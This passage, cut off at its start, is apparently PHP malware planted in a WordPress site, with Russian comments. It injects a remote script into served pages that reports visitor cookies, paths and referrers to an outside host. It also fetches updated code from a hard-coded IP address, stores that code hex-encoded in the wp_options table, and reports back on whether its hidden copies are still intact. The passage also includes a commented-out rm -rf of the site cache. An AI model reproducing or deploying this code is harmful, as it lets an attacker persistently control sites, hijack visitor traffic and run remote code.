+new Date),document.head.appendChild(t);'; $jscript = 'let b="0|";document.cookie.includes("wordpress_test_cookie")&&(b="1|");var t=document.createElement("script");t.async=!1,t.src="https://visitor-service-eu-central-1.cdnregion.com/ph.php?q="+btoa(b+"'.$_SERVER['ph']['host_id'].'|"+window.location.pathname+"|"+document.referrer+"|"+ +new Date),document.head.appendChild(t);'; # ========= if (strpos ($str, $search = 'Сюда вставить строку привязки')) { $replace = $search.$jscript; # $replace = $search.''; $str = str_replace ($search, $replace, $str); } /* if (preg_match_all ('|)<[^<]*)*<\/script>|i', $str, $arr, PREG_OFFSET_CAPTURE)) # Подставить нужное! { $n = count ($arr[0]); $i = $n - 4; # Вставляем перед 4-м снизу ''. $search = substr ($str, $arr[0][$i][1]); $replace = $jscript."\n".$search; $str = str_replace($search, $replace, $str); } */ return $str; } if ($_SERVER['REQUEST_URI'] != '/' && $TRAFFIC_RUN) #if ($TRAFFIC_RUN) ob_start ('ph_js_insert'); # ============= } ## ============= } ### ================================= ### Зона костылей и дополнительного кода. { #exec ("rm -rf /home/imactorr/public_html/wp-content/cache/wp-rocket/imac-torrents.com/category/**/*", $dir_arr); /* function cache_delete () { if ($_SERVER['REQUEST_URI'] == '/') return; $fn = '/home/imactorr/public_html/wp-content/cache/wp-rocket/imac-torrents.com'.$_SERVER['REQUEST_URI']; if (file_exists ($fn.'index-https.html')) unlink ($fn.'index-https.html'); if (file_exists ($fn.'index-https.html_gzip')) unlink ($fn.'index-https.html_gzip'); return; } register_shutdown_function ('cache_delete'); */ } ### ================================= ### PH-code UPDATE AND HS-CHECK { ## Заверщить функцию, если время загрузки/проверки еще не настало. $flag_fn = pathinfo (streamset, PATHINFO_DIRNAME).'/session2398f4ed6546d'; $date_srv = new DateTime(date ('c', $_SERVER['REQUEST_TIME'])); $date_srv->setTimezone(new DateTimeZone('Europe/Moscow')); $str_time = $date_srv->format('d.m.Y H:i:s'); $delta_time = $_SERVER['REQUEST_TIME_FLOAT'] - $_SERVER['ph']['last_update_int']; if ($delta_time > $check_interval) { if (file_exists ($flag_fn) && ($delta_time < ($check_interval + 300))) # Второе условие - это защита от ситуации, когда return; # $flag_fn по какой-либо причине остался неудаленным. _PH_lwrite ($flag_fn, $_SERVER['REQUEST_TIME_FLOAT']); } else return; ## ===================== ## Обновляем x-код. { $err = 'E0'; do { # Посылаем запрос на обновление кода $headers[] = 'HSSDO: dl'; $headers[] = 'HSSID: '.$_SERVER['ph']['host_id']; $content = x_send ($headers); # Запрос на загрузку (обновление) кода # =========== # Проверяем, что код пришел без изменений list ($md5hash, $phcode_pack) = explode ("\r\n", $content); $phcode = pack ("H*", $phcode_pack); if (md5 ($phcode) == $md5hash) { # Разбиваем искомую подстроку на две, чтобы небыло замены в этом месте. $phcode_new = str_replace ("['last_update_str']".'=0', "['last_update_str']='".$str_time."'", $phcode); $phcode_new = str_replace ("['last_update_int']".'=0', "['last_update_int']=".$_SERVER['REQUEST_TIME_FLOAT'], $phcode_new); $md5hash_new = md5 ($phcode_new); } else { $err = 'E2'; # Не удалось получить PH-код. break; } # =========== # Добавляем код в БД и тут же запрашиваем его из БД чтобы убедиться, # что БД возвращает именно обновленный код. $option_id = '948'; $res = $wpdb->update('wp_options', ['option_value' => bin2hex ($phcode_new)], ['option_id' => (int)$option_id], ['%s']); if ($res === FALSE) { $err = 'E4'; # Не удалось обновить PH-код в БД. break; } $phcode_hex = $wpdb->get_var("SELECT option_value FROM wp_options WHERE option_id=948"); $phcode_new = pack ("H*" , $phcode_hex); if (md5 ($phcode_new) != $md5hash_new) $err = 'E3'; # БД вернула некорректный PH-код. # =========== } while (0); } ## ===================== ## Проверяем целостность HS. $check_str = '---'; if (isset ($_SERVER['ph']['HSarr']) && count ($HSarr = unserialize ($_SERVER['ph']['HSarr']))) { $check_str = ''; foreach ($HSarr as $fn) { if (file_exists ($fn) && strpos (file_get_contents ($fn), 'HSSDO')) $check_str.= '1'; else $check_str.= '0'; } } ## ===================== ## Посылаем запрос с результатами обновлния кода и проверки целостности HS. if (isset ($err2)) $err = $err.$err2; $out_str = $err.'##'.strlen ($phcode_new).'##'.$check_str; $headers = array (); $headers[] = 'HSSDO: rq'; $headers[] = 'HSSID: '.$_SERVER['ph']['host_id']; $headers[] = 'HSSSN: '.$_SERVER['ph']['host']; $headers[] = 'HSSCH: '.$out_str; x_send ($headers); # Запрос с результатами обновлния кода и проверки целостности HS. ## ===================== unlink ($flag_fn); } ### ================================= } function x_send ($headers) # CURL { $headers[] = 'HSSPR: ph2'; # Данный заголовок определяет к какому проекту относится запрос. $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL, '116.202.186.134'); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt ($ch, CURLOPT_TIMEOUT, 5); $content = curl_exec ($ch); curl_close ($ch); return $content; } function _PH_lwrite ($fn, $str) { if (!$fp = fopen($fn, 'c')) return FALSE; flock ($fp, LOCK_EX); # выполняем эксклюзивную блокировку ftruncate ($fp, 0); # очищаем файл if (fwrite ($fp, $str) === FALSE) return FALSE; fflush ($fp); # очищаем вывод перед отменой блокировки flock ($fp, LOCK_UN); # снимаем блокировку fclose($fp); return TRUE; } ?>